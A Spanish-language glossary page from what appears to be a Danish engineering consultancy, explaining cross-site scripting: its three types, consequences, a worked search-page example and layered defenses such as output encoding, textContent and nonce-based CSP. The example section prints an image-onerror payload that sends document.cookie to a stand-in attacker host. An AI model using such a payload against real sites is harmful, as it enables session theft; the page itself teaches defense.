Engineer

cross-site scripting

ejecutar código inyectado con la autoridad del propio sitio

Qué es

Cross-site scripting, casi siempre abreviado como XSS, es el ataque en el que un sitio web toma texto procedente de otra persona, lo introduce en una página que sirve a otras y no lo neutraliza al hacerlo, de modo que el navegador interpreta parte de ese texto como código y lo ejecuta. Common Weakness Enumeration lo registra como CWE-79, con un título que expresa prácticamente lo mismo: entrada sin neutralizar al generar una página web. El atacante nunca modifica el código del sitio. Aporta datos y el propio sitio entrega el script a sus usuarios, dentro de sus propias páginas.

Hay tres vías de entrada, descritas tanto por CWE como por OWASP. En el XSS reflejado, también llamado no persistente o de tipo 1, la carga del ataque viaja en la petición, normalmente como parámetro de una URL, y el servidor la copia en la respuesta: una página de resultados de búsqueda, un mensaje de error o cualquier elemento que repita lo recibido. Hay que atraer a la víctima para que abra un enlace preparado, por lo que la entrada de CWE sitúa estos enlaces en el núcleo de muchas campañas de phishing. En el XSS almacenado, también llamado persistente o de tipo 2, la carga se guarda primero en un comentario, una publicación de un foro, un campo del perfil o un mensaje de registro, y se ejecuta para cualquiera que consulte después ese registro. En el XSS basado en DOM, de tipo 0, es posible que el servidor nunca vea la carga. El JavaScript de la propia página lee algo que controla el atacante, como la parte de la URL posterior a `#`, y lo escribe en el documento de una forma que hace que el navegador lo interprete como marcado.

El nombre encaja mal con el problema actual, y OWASP lo reconoce: su guía de prevención lo califica de denominación inadecuada. Procede de ataques iniciales que robaban datos entre sitios y desde entonces se ha ampliado hasta abarcar la inyección de casi cualquier contenido en una página, intervenga o no un segundo

sitio. Incluso la abreviatura tiene historia. La entrada de CWE recuerda que el acrónimo obvio de tres letras era habitual en los primeros años, hasta que la coincidencia con Cascading Style Sheets hizo que dejara de utilizarse.

OWASP clasifica XSS como un tipo de inyección, de la misma familia que la inyección SQL. En ambos casos, los datos cruzan una frontera hacia un lugar donde se interpretan como instrucciones: allí, el SQL que ejecuta una base de datos; aquí, el marcado, los valores de atributos y el JavaScript de una página. La solución tiene la misma forma en ambos casos. Mantenga los datos como datos en el momento de insertarlos, y el intérprete no tendrá nada del atacante que ejecutar.

Utilice el concepto en una decisión

Aplique «¿Qué es cross-site scripting?» a una decisión real. Podemos ayudarle a relacionar el concepto con el sistema que está construyendo o comprando. Cuentas, contraseñas y permisos organizados para que cada persona tenga exactamente el acceso que necesita y lo pierda el mismo día que deja la empresa.

Explore nuestros servicios Póngase en contacto →

Compruebe los supuestos detrás del término

Utilice la explicación y los trabajos enlazados para formular preguntas sobre su proyecto. Podemos examinar los supuestos con usted antes de elegir una herramienta. 1.000 reglas RBAC para servidores Linux — 1,000 reglas de acceso escritas para cerrar una brecha de seguridad

1.000 reglas RBAC para servidores Linux Póngase en contacto →

Por qué importa

El script se ejecuta como si fuera propio del sitio. El navegador no registra de dónde procedía el texto: ve una página servida por el sitio, desde su origen, y concede al script todo lo que permite ese origen. OWASP resume el problema en una línea: el navegador «no tiene forma de saber que no debería confiar en el script». La entrada de CWE extrae la consecuencia. El ataque frustra la intención de la política del mismo origen, que existe para impedir que un script de un sitio acceda a otro.

Ese script puede hacer lo mismo que el usuario. CWE-79 identifica el robo de información privada de las cookies, como los datos de sesión, como el ataque más común, y advierte que es especialmente peligroso cuando la víctima tiene privilegios de administrador en el sitio. La lista de OWASP es más larga: suplantar la cuenta, observar lo que hace el usuario, cargar contenido de otros lugares, robar datos sensibles y reescribir la propia página. El XSS almacenado en un mensaje de registro es una vía clásica hacia precisamente esas víctimas. CWE lo

utiliza como ejemplo porque quienes leen los registros suelen ser administradores, y un visor de registros puede no tratar correctamente una entrada hostil.

Afecta a todos los equipos web, no solo a quienes aún escriben el marcado a mano. Los frameworks modernos han reducido la frecuencia de XSS: OWASP atribuye la disminución de errores a sus plantillas y al escape automático. Todos conservan mecanismos para eludir esa protección cuando un desarrollador quiere insertar marcado directamente, y OWASP los identifica como lugares donde siguen apareciendo problemas. La misma guía deja claro que ninguna técnica resuelve por sí sola XSS y que hace falta combinarlas. Ese es el planteamiento del resto del artículo: codificar primero para el contexto correcto y añadir las otras capas detrás.

Cómo se aplica en la práctica

Considere una tienda cuya página de búsqueda repite el término buscado, de modo que `https://shop.example/search?q=lamp` muestra `Results: lamp`. El servidor construye esa línea pegando el parámetro en la plantilla de la página. Un atacante envía a la víctima un enlace cuyo `q` contiene esto:

```
<img src=x onerror="fetch('//evil.example/'+document.cookie)">
```

El servidor lo inserta igual que antes y el navegador de la víctima recibe:

```
<p>Results: <img src=x onerror="fetch('//evil.example/'+document.cookie)"></p>
```

La imagen no se carga, porque `x` no es una imagen, y el navegador ejecuta el controlador `onerror`, que envía las cookies del usuario al servidor del atacante. El código está en un atributo, no en un elemento `<script>`, y eso es habitual: la carga de ejemplo del propio OWASP utiliza de la misma forma el atributo `onerror` de una imagen.

La solución es codificar el valor para el lugar donde se inserta. En el texto del cuerpo HTML, eso significa convertir los cinco caracteres `&`, `<`, `>`, `"` y `'` en `&`, `<`, `>`, `"` y `'`. La misma carga llega entonces como `<img src=x onerror="...">`, que el navegador muestra como

texto y nunca interpreta como una etiqueta. Los frameworks con escape automático hacen esto por usted; el hueco aparece donde se construye una cadena a mano.

En la variante basada en DOM, el servidor solo envía una página estática y el script de la propia página lee `q` y lo escribe en el encabezado:

```
const heading = document.querySelector("h1");
const q = new URLSearchParams(location.search).get("q");
heading.innerHTML = `Results for ${q}`; // parses q as HTML
heading.textContent = `Results for ${q}`; // shows q as text
```

La línea con `innerHTML` entrega el marcado del atacante al analizador HTML y el controlador `onerror` se activa como antes. El estándar HTML señala que un elemento `<script>` insertado de esta forma no se ejecuta, por lo que las cargas recurren a los atributos de controladores de eventos. La línea con `textContent` crea un nodo de texto sin interpretar nada, así que el mismo valor se muestra como caracteres inofensivos. La guía de OWASP sobre XSS en DOM considera que elegir un destino seguro como este es la mejor solución, y su guía general pide refactorizar para sustituir `innerHTML` por `textContent` .

Detrás de la codificación hay una segunda capa. Una Content Security Policy que incluya un nonce indica al navegador que solo ejecute los scripts que lo llevan. El borrador actual del W3C exige que el servidor genere un nonce nuevo cada vez que envía una política y recomienda al menos 128 bits procedentes de un generador de números aleatorios criptográficamente seguro. Un `<script>` inyectado no tiene nonce, y también se rechaza un controlador en línea como el `onerror` anterior, porque solo `'unsafe-inline'` o `'unsafe-hashes'` pueden permitir controladores, y un nonce desactiva `'unsafe-inline'` . El borrador presenta `script-src 'strict-dynamic' 'nonce-{RANDOM}'` junto con `base-uri 'self'` como una defensa contra XSS que funciona y se puede desplegar en la práctica. En navegadores basados en Chromium, `require-trusted-types-for 'script'` va más allá y hace que destinos como `innerHTML` rechacen cadenas de texto ordinarias. OWASP sigue advirtiendo que es fácil configurar mal una política y la mantiene como capa adicional, no como defensa principal.

En una plataforma con datos profesionales y de organizaciones, el middleware de Next.js establece una política así, con un nonce por petición y strict-dynamic junto con HSTS y cookies SameSite, para que el navegador restrinja lo que

ejecuta y envía. La misma página describe protecciones dispuestas en capas para evitar depender de un único control. La autorización del servidor está diseñada para funcionar con independencia de las comprobaciones del cliente, de modo que la interfaz no es la autoridad que decide el acceso.

Dónde surgen los problemas

Codificar para el contexto equivocado. La codificación de entidades HTML es adecuada para el texto entre etiquetas, pero insuficiente en otros lugares. OWASP asigna una regla a cada contexto: un valor dentro de un parámetro URL se codifica por porcentajes con la forma `%HH`, y un valor dentro de un atributo se codifica para atributos y se encierra entre comillas. La codificación solo protege además el lugar donde se coloca una cadena, no lo que le ocurra después; un valor pasado a `eval()` es inseguro independientemente de lo que se haya hecho antes con él. Identifique dónde se inserta cada valor y utilice el codificador del framework para ese lugar.

Atributos sin comillas. El espacio en blanco termina un valor de atributo sin comillas, así que un atacante que pueda añadir un espacio también puede añadir un atributo propio, y basta con `onmouseover=`. Encierre siempre los valores de los atributos entre comillas y utilice el codificador de atributos del framework.

Datos del usuario dentro de un atributo de controlador de eventos. La codificación de atributos no protege el JavaScript de `onclick` o similares, porque el analizador HTML decodifica las referencias de caracteres antes de que se ejecute el script. Asocie los controladores con `addEventListener()` y pase el valor del usuario como dato.

Un mecanismo del framework que elude la protección recibe entradas sin tratar. `dangerouslySetInnerHTML` de React, las funciones `bypassSecurityTrustAs*` de Angular y `unsafeHTML` de Lit desactivan el escape automático. Cuando los usuarios realmente necesitan redactar marcado, páselo por una herramienta de saneamiento como DOMPurify, que OWASP recomienda, no modifique después el resultado y mantenga la biblioteca actualizada con los parches, porque siguen descubriéndose formas de eludirla.

Una URL `javascript:` en un enlace. Un campo de sitio web en un perfil que contenga `javascript:` seguido de código convierte un enlace aparentemente inofensivo en un script. React 19 bloquea esas URL en `src` y `href`, pero

OWASP indica que eso no sustituye la validación de URL de la propia aplicación. Permita los esquemas que el campo necesite realmente, como `https:` , y rechace todo lo demás.

Tratar la validación de entradas o un WAF como solución. La validación ayuda, pero no puede eliminar todos los caracteres peligrosos del texto libre. El ejemplo de CWE es el emoticono de corazón `<3` , que probablemente dejaría pasar la validación de una aplicación de chat y que aun así contiene `<` . Un cortafuegos de aplicaciones web reconoce cadenas de ataque conocidas, no detecta nuevas formas de eludirlo y nunca ve el XSS basado en DOM que ocurre por completo en el navegador; OWASP no lo recomienda para prevenir XSS. Codifique la salida y trate ambos mecanismos como capas adicionales.

Tratar HttpOnly como remedio. Marcar la cookie de sesión como HttpOnly impide que `document.cookie` la lea, lo que reduce la eficacia de la carga más común. Sin embargo, el script sigue ejecutándose y puede actuar como el usuario desde dentro de la página. CWE dice que HttpOnly no es una solución completa, y OWASP indica que los atributos de cookies limitan el impacto sin impedir la ejecución. Actívelo y corrija la inyección.

Servir JSON como HTML. Un endpoint que devuelve datos del usuario con `Content-Type: text/html` invita al navegador a interpretarlos como una página. La regla de OWASP es comprobar que JSON se envíe como `application/json` . Defina explícitamente la cabecera en cada respuesta de ese tipo.

Tratar la política como defensa principal. Un nonce reutilizado entre respuestas, la ausencia de `base-uri` o un `'unsafe-inline'` añadido para que funcione un widget pueden deshacer silenciosamente una política. Codifique primero y deje que la política intercepte lo que se escape.

Lecturas adicionales

- CWE-79 en Common Weakness Enumeration — la entrada sobre la debilidad: los tres tipos, las consecuencias y las mitigaciones con sus límites.
- Guía de OWASP para prevenir cross-site scripting — codificación según el contexto, mecanismos del framework que eluden la protección, saneamiento y capas adicionales.
- Guía de OWASP para prevenir XSS basado en DOM — destinos seguros e inseguros en el navegador, con ejemplos desarrollados.

- OWASP: cross-site scripting (XSS) — el ataque descrito desde el lado del atacante, con cargas de ejemplo.
- Estándar HTML: scripting — cómo y cuándo se ejecuta el elemento `script`, incluido el marcado insertado.
- Content Security Policy Level 3 — nonces, `'strict-dynamic'` y la política estricta que recomienda el borrador.

Glosario

Elija según sus restricciones reales

Describa la ruta de despliegue, los riesgos operativos y quiénes se encargan de las guardias. Podemos definir el alcance de un cambio con comprobaciones, una vía de recuperación y responsabilidades claras.

Vea cuánto cuesta Póngase en contacto →

Haga práctica la terminología

Pregunte cómo se aplica «¿Qué es cross-site scripting?» a su organización. Basta un ejemplo concreto de su sistema actual para iniciar la conversación.

Explore nuestros servicios

welcome@engineer.company +45 50 10 61 84 Copenhague, Dinamarca

Llévese esta página

Tarjeta de contacto

Creado con esmero y cariño por D.

CVR 45969703 · Tagensvej 105C, 3. th, 2200 København N

Derechos de autor © 2025 – actualidad · Engineer ApS · Todos los derechos reservados.

Impreso desde https://engineer.company/es/glossary/cross-site-scripting/